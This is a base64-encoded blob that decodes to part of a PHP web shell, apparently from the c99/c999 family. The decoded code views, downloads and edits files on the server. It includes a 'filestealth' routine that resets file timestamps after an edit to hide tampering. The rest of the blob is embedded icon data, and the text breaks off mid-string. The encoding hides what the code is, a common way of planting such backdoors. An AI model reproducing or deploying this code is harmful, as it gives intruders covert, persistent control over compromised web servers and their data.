KTsKICAgICBmb3JlYWNoICgkY2ZndmFycyBhcyAkaz0+JHYpIHtlY2hvIGh0bWxzcGVjaWFsY2hhcnMo JGspLiI9JyIuaHRtbHNwZWNpYWxjaGFycygkdikuIic8YnI+Ijt9CiAgICAgZWNobyAiPC9iPjxociBz aXplPVwiMVwiIG5vc2hhZGU+IjsKICAgIH0KICAgfQogICBlY2hvICI8ZGl2IHN0eWxlPVwiYm9yZGVy IDogMHB4IHNvbGlkICNGRkZGRkY7IHBhZGRpbmc6IDFlbTsgbWFyZ2luLXRvcDogMWVtOyBtYXJnaW4t Ym90dG9tOiAxZW07IG1hcmdpbi1yaWdodDogMWVtOyBtYXJnaW4tbGVmdDogMWVtOyBiYWNrZ3JvdW5k LWNvbG9yOiAiLiRoaWdobGlnaHRfYmFja2dyb3VuZCAuIjtcIj4iOwogICBpZiAoIWVtcHR5KCR3aGl0 ZSkpIHtAb2JfY2xlYW4oKTt9CiAgIGhpZ2hsaWdodF9maWxlKCRkLiRmKTsKICAgaWYgKCFlbXB0eSgk d2hpdGUpKSB7Yzk5OXNoZXhpdCgpO30KICAgZWNobyAiPC9kaXY+IjsKICB9CiAgZWxzZWlmICgkZnQg PT0gImRvd25sb2FkIikKICB7CiAgIEBvYl9jbGVhbigpOwogICBoZWFkZXIoIkNvbnRlbnQtdHlwZTog YXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7CiAgIGhlYWRlcigiQ29udGVudC1sZW5ndGg6ICIuZmls ZXNpemUoJGQuJGYpKTsKICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBm aWxlbmFtZT1cIiIuJGYuIlwiOyIpOwogICBlY2hvICRyOwogICBleGl0OwogIH0KICBlbHNlaWYgKCRm dCA9PSAibm90ZXBhZCIpCiAgewogICBAb2JfY2xlYW4oKTsKICAgaGVhZGVyKCJDb250ZW50LXR5cGU6 IHRleHQvcGxhaW4iKTsKICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBm aWxlbmFtZT1cIiIuJGYuIi50eHRcIjsiKTsKICAgZWNobygkcik7CiAgIGV4aXQ7CiAgfQogIGVsc2Vp ZiAoJGZ0ID09ICJpbWciKQogIHsKICAgJGluZiA9IGdldGltYWdlc2l6ZSgkZC4kZik7CiAgIGlmICgh JHdoaXRlKQogICB7CiAgICBpZiAoZW1wdHkoJGltZ3NpemUpKSB7JGltZ3NpemUgPSAyMDt9CiAgICAk d2lkdGggPSAkaW5mWzBdLzEwMCokaW1nc2l6ZTsKICAgICRoZWlnaHQgPSAkaW5mWzFdLzEwMCokaW1n

c2l6ZTsKICAgIGVjaG8gIjxjZW50ZXI+PGI+U2l6ZTo8L2I+Jm5ic3A7IjsKICAgICRzaXplcyA9IGFy cmF5KCIxMDAiLCI1MCIsIjIwIik7CiAgICBmb3JlYWNoICgkc2l6ZXMgYXMgJHYpCiAgICB7CiAgICAg ZWNobyAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW1nJmQ9 Ii51cmxlbmNvZGUoJGQpLiImaW1nc2l6ZT0iLiR2LiJcIj4iOwogICAgIGlmICgkaW1nc2l6ZSAhPSAk diApIHtlY2hvICR2O30KICAgICBlbHNlIHtlY2hvICI8dT4iLiR2LiI8L3U+Ijt9CiAgICAgZWNobyAi PC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7CiAgICB9CiAgICBlY2hvICI8YnI+PGJyPjxpbWcgc3JjPVwi Ii4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbWcmd2hpdGU9MSZkPSIudXJsZW5j b2RlKCRkKS4iXCIgd2lkdGg9XCIiLiR3aWR0aC4iXCIgaGVpZ2h0PVwiIi4kaGVpZ2h0LiJcIiBib3Jk ZXI9XCIxXCI+PC9jZW50ZXI+IjsKICAgfQogICBlbHNlCiAgIHsKICAgIEBvYl9jbGVhbigpOwogICAg JGV4dCA9IGV4cGxvZGUoJGYsIi4iKTsKICAgICRleHQgPSAkZXh0W2NvdW50KCRleHQpLTFdOwogICAg aGVhZGVyKCJDb250ZW50LXR5cGU6ICIuJGluZlsibWltZSJdKTsKICAgIHJlYWRmaWxlKCRkLiRmKTsK ICAgIGV4aXQ7CiAgIH0KICB9CiAgZWxzZWlmICgkZnQgPT0gImVkaXQiKQogIHsKICAgaWYgKCFlbXB0 eSgkc3VibWl0KSkKICAgewogICAgaWYgKCRmaWxlc3RlYWx0aCkgeyRzdGF0ID0gc3RhdCgkZC4kZik7 fQogICAgJGZwID0gZm9wZW4oJGQuJGYsInciKTsKICAgIGlmICghJGZwKSB7ZWNobyAiPGI+Q2FuJ3Qg d3JpdGUgdG8gZmlsZSE8L2I+Ijt9CiAgICBlbHNlCiAgICB7CiAgICAgZWNobyAiPGI+U2F2ZWQhPC9i PiI7CiAgICAgZndyaXRlKCRmcCwkZWRpdF90ZXh0KTsKICAgICBmY2xvc2UoJGZwKTsKICAgICBpZiAo JGZpbGVzdGVhbHRoKSB7dG91Y2goJGQuJGYsJHN0YXRbOV0sJHN0YXRbOF0pO30KICAgICAkciA9ICRl ZGl0X3RleHQ7CiAgICB9CiAgIH0KICAgJHJvd3MgPSBjb3VudChleHBsb2RlKCJcclxuIiwkcikpOwog ICBpZiAoJHJvd3MgPCAxMCkgeyRyb3dzID0gMTA7fQogICBpZiAoJHJvd3MgPiAzMCkgeyRyb3dzID0g MzA7fQogICBlY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRm KS4iJmZ0PWVkaXQmZD0iLnVybGVuY29kZSgkZCkuIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPXN1 Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIlNhdmVcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInJlc2V0XCIg dmFsdWU9XCJSZXNldFwiPiZuYnNwOzxpbnB1dCB0eXBlPVwiYnV0dG9uXCIgb25jbGljaz1cImxvY2F0 aW9uLmhyZWY9JyIuYWRkc2xhc2hlcygkc3VybC4iYWN0PWxzJmQ9Ii5zdWJzdHIoJGQsMCwtMSkpLiIn O1wiIHZhbHVlPVwiQmFja1wiPjxicj48dGV4dGFyZWEgbmFtZT1cImVkaXRfdGV4dFwiIGNvbHM9XCIx MjJcIiByb3dzPVwiIi4kcm93cy4iXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRyKS4iPC90ZXh0YXJlYT48 L2Zvcm0+IjsKICB9CiAgZWxzZWlmICghZW1wdHkoJGZ0KSkge2VjaG8gIjxjZW50ZXI+PGI+TWFudWFs bHkgc2VsZWN0ZWQgdHlwZSBpcyBpbmNvcnJlY3QuIElmIHlvdSB0aGluaywgaXQgaXMgbWlzdGFrZSwg cGxlYXNlIHNlbmQgdXMgdXJsIGFuZCBkdW1wIG9mIFwkR0xPQkFMUy48L2I+PC9jZW50ZXI+Ijt9CiAg ZWxzZSB7ZWNobyAiPGNlbnRlcj48Yj5Vbmtub3duIGV4dGVuc2lvbiAoIi4kZXh0LiIpLCBwbGVhc2Us IHNlbGVjdCB0eXBlIG1hbnVhbGx5LjwvYj48L2NlbnRlcj4iO30KIH0KfQp9CmVsc2UKewogQG9iX2Ns ZWFuKCk7CiAkaW1hZ2VzID0gYXJyYXkoCiJhcnJvd19sdHIiPT4KIlIwbEdPRGxoSmdBV0FJQUFBQUFB QVAvLy95SDVCQVVVQUFFQUxBQUFBQUFtQUJZQUFBSXZqSStweSswUEY0aTBnVnZ6dVZ4WERub1EiLgoi U0lyVVpHWm9lcktmMjhLalBOUE9ha3U1UmZaK3VRc0toOFJpb2dBQU93PT0iLAoiYmFjayI9PgoiUjBs R09EbGhGQUFVQUtJQUFBQUFBUC8vLzkzZDNjREF3SWFHaGdRRUJQLy8vd0FBQUNINUJBRUFBQVlBTEFB QUFBQVVBQlFBQUFNOCIuCiJhTHJjL2pES1NXV3BqVnlzU05pWUo0Q1VPQkpvcWpuaUlMend1ekx0WU4v M3pCU0VyZjZrQlcrZ0tSaVBSZ2hQaCtFRkswbU9VRXF0Ii4KIldnMEpBRHM9IiwKImJ1ZmZlciI9Pgoi UjBsR09EbGhGQUFVQUtJQUFBQUFBUC8vLy9qNCtOM2QzY3pNekxLeXNvYUdodi8vL3lINUJBRUFBQWNB TEFBQUFBQVVBQlFBQUFObyIuCiJlTHJjcmliRzkweTRGMUFtdTUrTmhZMmt4bDJDTUt3clFSU0d1Vmpw NExtd0RBV3FpQUdGWENoZyt4aG5SQitwdExPaGFpMWNyRW1EIi4KIkRsd3Y0Y0VDNDZtaTJZZ0pRS2F4 c0VHREZubkd3V0RURXpqOWpyUFJkYmh1RzhDci8ySU5aSU9FaFhzYkR3a0FPdz09IiwKImNoYW5nZSI9 PgoiUjBsR09EbGhGQUFVQU1RZkFMM2hqN25YK3BxbzFlankvZjdZQWNUYis4dmgrNkZ0SDU2V1p0dnIv UkFRRVplY3g5TGwvUFg2L3YzKyIuCiIvM2VIdDZxODhlSHUvWmtmSDN5VnlJdVF0KzcyL2tPbTk5Zm8v UDhBWm01N3JrR1M0SGV6NnBpbDlvZXAzR1ptWnYvLy95SDVCQUVBIi4KIkFCOEFMQUFBQUFBVUFCUUFB QVdmNENlT1pHbWU2Tm10TE91bFgrYzRUVk5WUTdlOXFGemZnNEhGb25rZEpBNVM1NGNiUkFvRnlFT0Mi Lgoid1NpVXRtWWtrcmd3T0FlQTV6cnFhTGxkQmlOTUlKZUQyNjZYWVRnUURtNVJ4OG1kRytvQWJTWWRh SDRHYTNjOEpCTUphWFFHQlFnQSIuCiJDSGtqRTRhUWtRMEFsU0lUYW4rWkFRcWtpaVFQajFBRkFhTUtF S1lqRDM5UXJLd0tBYThuR1FLOEFndS9DeFRDc0NNZXhzZkl4akRMIi4KInpNc2hBRHM9IiwKImRlbGV0 ZSI9PgoiUjBsR09EbGhGQUFVQU9aWkFQejgvTlBGeU5nSExzMFlPdlB6OC9iMjlzYWNwTlhWMWZYMTlj d1hPZkR3OEtlbnAvbjUrZXRnZXVucCIuCiI2ZGNHTE1NcFJ1cnE2cEtTa3R2YjIrL3Y3KzF3aDNSMGRQ blAxN2lBaXB4eWVsOWZYN2RqY3NjU005M2QzWkdSa2VFc1RldmQ0TEN3Ii4KInNHUmtaR3BPVStJZlEr RVFOb2g2ZmRJY1BlSGg0WVdGaGJKUVl2THk4dWkreG01dWJzeGNjT3g4a2NNNFV0WTlXZUFkUVltSmlm V3YiLgoidkh4OGZNbkp5Y00zVWYzdjhyUnVlOThPTmJPenM5WUZLNVNVbEtZb1ArVGs1TjBvU3VmbjU3 WkdXc1FyUjlrSUw1Q1FrT1BqNDJWbCIuCiJaZUFQTnVkQVg5c0tNUHY3KzE1UVU1dWJtMzkvZjhlNXU0 eGlhdHJhMnViS3o4UER3K3BmZWU5L2xNSzB0ODFyZmQ4QUtmLy8vd0FBIi4KIkFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUNINSIuCiJCQUVBQUZrQUxBQUFBQUFVQUJRQUFBZXNnRm1DZzRTRmhv ZUloaVVmSUltSU1sZ1FCNDZHTEFsWVFrYUZWVmhTQUlaTFQ1Y2JFWUk0Ii4KIlNUbzVNeE9maFF3QkEx Z1lDaGNrUUJrMU93aUlBTEFDTGtneEppbFRCSTY5UkZoREZoNEhESlJaVkZnUFBGQlIwRmtOV0RkTUhB

OEciLgoiQlpUYU1DSVNWZ01DNElrVldDY2FQU2k5Nk9xR05GaEtJMDRkZ3IwUVdGY0tETDNBNHVPSWpW WlpBQnhRSVdEQkxrSUVRclJvUXNIUSIuCiJqd1ZGSEJnaUVHUUZJZ1Fhc1lrY1NiSlFJQUE3IiwKImRv d25sb2FkIj0+CiJSMGxHT0RsaEZBQVVBTE1JQUFEL0FBQ0FBSUFBQU1EQXdIOS9mLzhBQVAvLy93QUFB UC8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVUFCUUFB QVJPRU1sSnE3MDRVeUdPdmtMaGZWVTRrcE9KU3B4NW5GOVlpQ3RMZjBTdUg3cHUiLgoiRVlPZ2NCZ2t3 QWlHcEhLWnpCMkp4QURBU1FGQ2lkUUpzTWZkR3FzREpuT1FsWFRQMzhwcnpXYlgzcWdJQURzPSIsCiJm b3J3YXJkIj0+CiJSMGxHT0RsaEZBQVVBUElBQUFBQUFQLy8vOTNkM2NEQXdJYUdoZ1FFQlAvLy93QUFB Q0g1QkFFQUFBWUFMQUFBQUFBVUFCUUFBQU04Ii4KImFMcmMvakRLMlFwOXhWNVdpTjVHNTBGWmFSTEQ2 SWhFNjZMcHQzUkRiZDlDUUZTRTRQKytRVzdIZTdVS1BoMElxVncybDBSUVNFcXQiLgoiV3FzSkFEcz0i LAoiaG9tZSI9PgoiUjBsR09EbGhGQUFVQUxNQUFBQUFBUC8vLytycTZ0M2QzY3pNekxLeXNvYUdobVpt WmdRRUJQLy8vd0FBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUNINUJBRUFBQWtBTEFBQUFBQVVBQlFB QUFSK01NazVUVFdJNmlweU1vTzNjVVdSZ2VKb0NDYUxvS08wbXEwWnhqTlNCRFdTIi4KImtycUFzTGZK N1lRQmw0dGlSQ1lGU3BQTWRSUkNvUU9pTDRpOENnWmdrMDlXZldMQllaSEI2VVdqQ2VxdXdFREh1T0VW SzNRdGdOL2oiLgoiVndNckJEWnZnRitDaEhhR2VZaUNCUVlIQ0g4VkJKYVdkQWVTbDVZaVc1K2dvQklS QURzPSIsCiJtb2RlIj0+CiJSMGxHT0RsaEhRQVVBTE1BQUFBQUFQLy8vNkNncE4zZDNjek16SWFHaG1a bVpsOWZYLy8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFB ZEFCUUFBQVNCRU1sSnE3MDQ2MW02LytBSFpNVWduR2lxbmlOV0hIQXN6M0Y3RlVHdTczeE8iLgoiMkJa Y3dHRG9FWGsvVXE0SUNBQ2VRNmZ6bVhUbG5zMGRkbGU5OWI3Y0Z2WXBFUjU1WjEwWHkxbEt0OHdwb0lz QUNyZGFxQnBZRVlLLyIuCiJkSDFMUldpRWUwcFJUWEJ2Vkh3VWQzbzZlRDZPSEFTWG1KbWFtSlVTWTUr Z254dWpwQklSQURzPSIsCiJyZWZyZXNoIj0+CiJSMGxHT0RsaEVRQVVBTE1BQUFBQUFQLy8vL0h4OGVy cTZ1UGo0OTNkM2N6TXpMS3lzb2FHaG1abVpsOWZYd1FFQlAvLy93QUFBQUFBIi4KIkFBQUFBQ0g1QkFF QUFBd0FMQUFBQUFBUkFCUUFBQVIxa01sSnEwUTQ2MHhSK0dBb0lNdmtoZUlZbE15SkJrSjhsbTZZeE1L aTZ6V1kiLgoiM0FLQ1liam8vWTRFUXFGZ0tJWVVoOEV2dVdRNlB3UEZRSnBVTHB1bnJYWkxyWUt4MjBH M29EQTcwOTNFc3YxOXE1Ty93b0Z1OVpBSiIuCiJSM2x1Zm1XQ1ZYMTNoM0tIZldXTWpHQkRrcE9VVFR1 WG1KZ1JBRHM9IiwKInNlYXJjaCI9PgoiUjBsR09EbGhGQUFVQUxNQUFBQUFBUC8vLytycTZ0M2QzY3pN ek1EQXdMS3lzb2FHaG5kM2QyWm1abDlmWDAxTlRTa3BLUVFFQlAvLyIuCiIvd0FBQUNINUJBRUFBQTRB TEFBQUFBQVVBQlFBQUFTbjBNbDVxajB6NXhyNitKWkdlVVpwSElxUk5PSVJmSVlpeSthNnZjT3BIT2Fw Ii4KInM1SUtRY2N6OFhnSzRFR2dRcVdNdmtyU3NjeWxob2FGVm11WkxnVURBblp4RUJNT0RTbnJraGlT Q1o0Q0dyVVdNQStMTER4dVNIc0QiLgoiQWtONEMzc2ZCWDEwVkhhQko0UWZBNGVJVTRwaWpRY0ZtQ1Zv TmtGbGdnY01SU2NOU1VDZEp5aG9EYXNOWjVNVERWc1hCd2x2aVJtciIuCiJDYnE3QzZzSXJxYXdyS3dU djY4aXlBNnJEaEVBT3c9PSIsCiJzZXR1cCI9PgoiUjBsR09EbGhGQUFVQU1RQUFBQUFBUC8vLy9qNCtP UGo0OTNkM2N6TXpNREF3TEt5c3BhV2xvYUdobmQzZDJabVpsOWZYMDFOVFVKQyIuCiJRaHdjSFAvLy93 QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFD SDVCQUVBIi4KIkFCQUFMQUFBQUFBVUFCUUFBQVdWSUNTS2lrS1dhRG11U2hDVWJqek13RW9HaFZ2c2ZI RUVOUllPZ2VnbGprZWcwUEY0S0JJRlJNSUIiLgoicUNhQ0o0ZUlHUVZvSVZXc1RmUW9YTWZvVWZtTVpy Z1oyR05EUEdJSTdnSkRMWUVyd0cxdmdXOENDUXR6Z0hpSkFuYUZoeXQyZHdRRSIuCiJPd2NNWm9aMGtK S1VsWmVPZFFLYlBnZWRqWm1obkFjSmxxYUlxVWVzbUlpa3BFaXhueUpodWxVTWhnMjRhU082WXlFQU93 PT0iLAoic21hbGxfZGlyIj0+CiJSMGxHT0RsaEV3QVFBTE1BQUFBQUFQLy8vNXljQU03T1kvLy9uUC8v enYvT25QZjM5Ly8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQ0g1QkFFQUFBZ0FMQUFB QUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLgoi LzRZY2hmZnpHUWhINFlSWVBCMkRPbEhQaUt3cWQxUHE4eXJWVmczUVllSDVSWUs1ckpmYUZVVUEzdkI0 ZkJJQkFEcz0iLAoic21hbGxfdW5rIj0+CiJSMGxHT0RsaEVBQVFBSGNBQUNINUJBRUFBSlVBTEFBQUFB QVFBQkFBaHdBQUFJZXAzQkU5bWxsaWMzQjVpVnBqZE12aC9NTGMreTFVIi4KInA5UG0vR1Z1ZmM3ai9N elYvOVhtL0VPbTk5Ym4vTmpwL2E3USt0VG0vTEhTK2VYdy90M3IvTm5wL2Rqby9OcnEvZmo3Lzl2cS9O Zm8iLgoiL01iZSs4cmgvTW5nKzdqVytydlkrcjdaKzdYUjlkRGsvTkhrL05MbC9MVFUrcm5YKzh6aS9M YlYrK2Z4L2U3Mi92SDMvdkw0L3UzMSIuCiIvZTMxL3VEdS9kenIvT3J6L2VIdS9mWDYvdkg0L3YvLy8v disvM2V6NnZmNy8vVDUva0dTNFB2OS83WFYrckhUK3IvYityemErdlA0Ii4KIi91ejAvdXJ6L3U3MS91 dnovZFRuL00vay9OM3MvZHZyL2NqZys4UGQrOEhjK3NmZis4VGUrL0QyL3JYSThySEY4YnJNODdmSjhu bVAiLgoid3IzTjg2L0Q4S3ZCOEY5bmVFRm90RUJudEVOcHRFTnB0U3hVcHgxSW9EbGZyVFJjclplZXla YWN4cG1oekl1UnRwV1p4SXVPdUtxeiIuCiI5Wk9Xd1g2SXMzV0l1NWltMDdySjlKMnQyWmVrMG01N3Jw cW8xbktDdFVWcnRZaXIzdmY2LzQ2djRZdXU0V1p2ZnI3UDZzUFM2c0RRIi4KIjY2WEI2Y2paOGEvSzc5 L3MvZGJuL2V6ei9jemQ5bU4waktUQjZhaS83Nlc5N25pWHoyR0N3VjZBd1Vkc3RYeVZ5R1NEd25tWXo0 aW8iLgoiMjRPaTFhM0I0NVN5NGFlOTQ0Q2N6NFNqMW4yR2xnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB

QUEiLgoiQUFqbkFDdFZDa0N3NEp4SkFRUXFGQmpBeG8wTU5HcXNBQlFBaDZDRkEzbmswTUhpUlJFVkRo enNvTFF3QUowZ1Q0VG9lY1NIQVlNeiIuCiJhUWdvRE5DQ1NCNEVBbkltQ2lTQmpVeUdMb2JnWEJUcGtB QTVJNnBnbVNrRHo1Y3VNU3o4eVdsQXlvQ1pGR2I0U1FLaEFTTUJYSnBNIi4KInVTclFFUXdrR2pZa1FD VEF5NkFsVU1oV2tsUUJ3NE1FaGdTQTZYUGdSeFM1aWk0MEtMRmdpNEJHVEVLQXNDS1hpaEVTQ3pyc2dT UUMiLgoieUlrVVYrU3FPWUxDQTRjc0F1cDg2T0dEa053NEJwUTRPYUJGZ0IwVEV5SVVLcUR3VFJzNGE5 eU1DU09tREJveVp1NHNKS0Nnd0lEaiIuCiJ5QXNva0JrUUFEcz0iLAoibXVsdGlwYWdlIj0+IlIwbEdP RGxoQ2dBTUFKRURBUC8vLy8vM21RQUFBQUFBQUNINUJBRUFBQU1BTEFBQUFBQUtBQXdBQUFJajNJUiIu CiJwSmhDT0Rub3ZpZEFvdkJkTXp6a2l4bFhkbEkyb1pwSldFc1N5d0x6UlVBQUFPdz09IiwKInNvcnRf YXNjIj0+CiJSMGxHT0RsaERnQUpBS0lBQUFBQUFQLy8vOVRReUlDQWdQLy8vd0FBQUFBQUFBQUFBQ0g1 QkFFQUFBUUFMQUFBQUFBT0FBa0FBQU1hIi4KIlNMcmNQY0U5R0tVYVFsUTVzTjVQbG9GTEozNU9vSzZx NVNZQU93PT0iLAoic29ydF9kZXNjIj0+CiJSMGxHT0RsaERnQUpBS0lBQUFBQUFQLy8vOVRReUlDQWdQ Ly8vd0FBQUFBQUFBQUFBQ0g1QkFFQUFBUUFMQUFBQUFBT0FBa0FBQU1iIi4KIlNMcmNPakJDQjRVVklU Z3lMdDVjaDJtZ1NKWkRCaTdwNmhJSkFEcz0iLAoic3FsX2J1dHRvbl9kcm9wIj0+CiJSMGxHT0RsaENR QUxBUGNBQUFBQUFJQUFBQUNBQUlDQUFBQUFnSUFBZ0FDQWdJQ0FnTURBd1A4QUFBRC9BUC8vQUFBQS8v OEEvd0QvIi4KIi8vLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFNd0FBWmdBQW1RQUF6QUFBL3dBekFBQXpNd0F6WmdBem1RQXp6QUF6L3dCbSIuCiJBQUJtTXdCbVpn Qm1tUUJtekFCbS93Q1pBQUNaTXdDWlpnQ1ptUUNaekFDWi93RE1BQURNTXdETVpnRE1tUURNekFETS93 RC9BQUQvIi4KIk13RC9aZ0QvbVFEL3pBRC8vek1BQURNQU16TUFaak1BbVRNQXpETUEvek16QURNek16 TXpaak16bVRNenpETXovek5tQURObU16Tm0iLgoiWmpObW1UTm16RE5tL3pPWkFET1pNek9aWmpPWm1U T1p6RE9aL3pQTUFEUE1NelBNWmpQTW1UUE16RFBNL3pQL0FEUC9NelAvWmpQLyIuCiJtVFAvekRQLy8y WUFBR1lBTTJZQVptWUFtV1lBekdZQS8yWXpBR1l6TTJZelptWXptV1l6ekdZei8yWm1BR1ptTTJabVpt Wm1tV1ptIi4KInpHWm0vMmFaQUdhWk0yYVpabWFabVdhWnpHYVovMmJNQUdiTU0yYk1abWJNbVdiTXpH Yk0vMmIvQUdiL00yYi9abWIvbVdiL3pHYi8iLgoiLzVrQUFKa0FNNWtBWnBrQW1aa0F6SmtBLzVrekFK a3pNNWt6WnBrem1aa3p6Smt6LzVsbUFKbG1NNWxtWnBsbW1abG16SmxtLzVtWiIuCiJBSm1aTTVtWlpw bVptWm1aekptWi81bk1BSm5NTTVuTVpwbk1tWm5NekpuTS81bi9BSm4vTTVuL1pwbi9tWm4vekpuLy84 d0FBTXdBIi4KIk04d0Fac3dBbWN3QXpNd0EvOHd6QU13ek04d3pac3d6bWN3enpNd3ovOHhtQU14bU04 eG1ac3htbWN4bXpNeG0vOHlaQU15Wk04eVoiLgoiWnN5Wm1jeVp6TXlaLzh6TUFNek1NOHpNWnN6TW1j ek16TXpNLzh6L0FNei9NOHovWnN6L21jei96TXovLy84QUFQOEFNLzhBWnY4QSIuCiJtZjhBelA4QS8v OHpBUDh6TS84elp2OHptZjh6elA4ei8vOW1BUDltTS85bVp2OW1tZjltelA5bS8vK1pBUCtaTS8rWlp2 K1ptZitaIi4KInpQK1ovLy9NQVAvTU0vL01adi9NbWYvTXpQL00vLy8vQVAvL00vLy9adi8vbWYvL3pQ Ly8veUg1QkFFQUFCQUFMQUFBQUFBSkFBc0EiLgoiQUFnNEFQOEpSRUZRNEQrQ0NCT2k0TWF3SVRlRkNn L2lRaEVQeGNTQmxGQ29RNUZ4NE1TS3YxQmdSR0dNbzBpSkZDMmVoSGpTb010LyIuCiJBUUVBT3c9PSIs CiJzcWxfYnV0dG9uX2VtcHR5Ij0+CiJSMGxHT0RsaENRQUtBUGNBQUFBQUFJQUFBQUNBQUlDQUFBQUFn SUFBZ0FDQWdJQ0FnTURBd1A4QUFBRC9BUC8vQUFBQS8vOEEvd0QvIi4KIi8vLy8vd0FBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEi LgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNd0FBWmdBQW1RQUF6QUFBL3dBekFBQXpN d0F6WmdBem1RQXp6QUF6L3dCbSIuCiJBQUJtTXdCbVpnQm1tUUJtekFCbS93Q1pBQUNaTXdDWlpnQ1pt UUNaekFDWi93RE1BQURNTXdETVpnRE1tUURNekFETS93RC9BQUQvIi4KIk13RC9aZ0QvbVFEL3pBRC8v ek1BQURNQU16TUFaak1BbVRNQXpETUEvek16QURNek16TXpaak16bVRNenpETXovek5tQURObU16Tm0i LgoiWmpObW1UTm16RE5tL3pPWkFET1pNek9aWmpPWm1UT1p6RE9aL3pQTUFEUE1NelBNWmpQTW1UUE16 RFBNL3pQL0FEUC9NelAvWmpQLyIuCiJtVFAvekRQLy8yWUFBR1lBTTJZQVptWUFtV1lBekdZQS8yWXpB R1l6TTJZelptWXptV1l6ekdZei8yWm1BR1ptTTJabVptWm1tV1ptIi4KInpHWm0vMmFaQUdhWk0yYVpa bWFabVdhWnpHYVovMmJNQUdiTU0yYk1abWJNbVdiTXpHYk0vMmIvQUdiL00yYi9abWIvbVdiL3pHYi8i LgoiLzVrQUFKa0FNNWtBWnBrQW1aa0F6SmtBLzVrekFKa3pNNWt6WnBrem1aa3p6Smt6LzVsbUFKbG1N NWxtWnBsbW1abG16SmxtLzVtWiIuCiJBSm1aTTVtWlpwbVptWm1aekptWi81bk1BSm5NTTVuTVpwbk1t Wm5NekpuTS81bi9BSm4vTTVuL1pwbi9tWm4vekpuLy84d0FBTXdBIi4KIk04d0Fac3dBbWN3QXpNd0Ev OHd6QU13ek04d3pac3d6bWN3enpNd3ovOHhtQU14bU04eG1ac3htbWN4bXpNeG0vOHlaQU15Wk04eVoi LgoiWnN5Wm1jeVp6TXlaLzh6TUFNek1NOHpNWnN6TW1jek16TXpNLzh6L0FNei9NOHovWnN6L21jei96 TXovLy84QUFQOEFNLzhBWnY4QSIuCiJtZjhBelA4QS8vOHpBUDh6TS84elp2OHptZjh6elA4ei8vOW1B UDltTS85bVp2OW1tZjltelA5bS8vK1pBUCtaTS8rWlp2K1ptZitaIi4KInpQK1ovLy9NQVAvTU0vL01a di9NbWYvTXpQL00vLy8vQVAvL00vLy9adi8vbWYvL3pQLy8veUg1QkFFQUFCQUFMQUFBQUFBSkFBb0Ei LgoiQUFnakFQOEpSRUZRNEQrQ0NCT2lNTWhRb2NLREVCY3VqRWlSb3NTQkZqRmVuT2h3WVVBQU93PT0i LAoic3FsX2J1dHRvbl9pbnNlcnQiPT4KIlIwbEdPRGxoRFFBTUFQY0FBQUFBQUlBQUFBQ0FBSUNBQUFB QWdJQUFnQUNBZ0lDQWdNREF3UDhBQUFEL0FQLy9BQUFBLy84QS93RC8iLgoiLy8vLy93QUFBQUFBQUFB 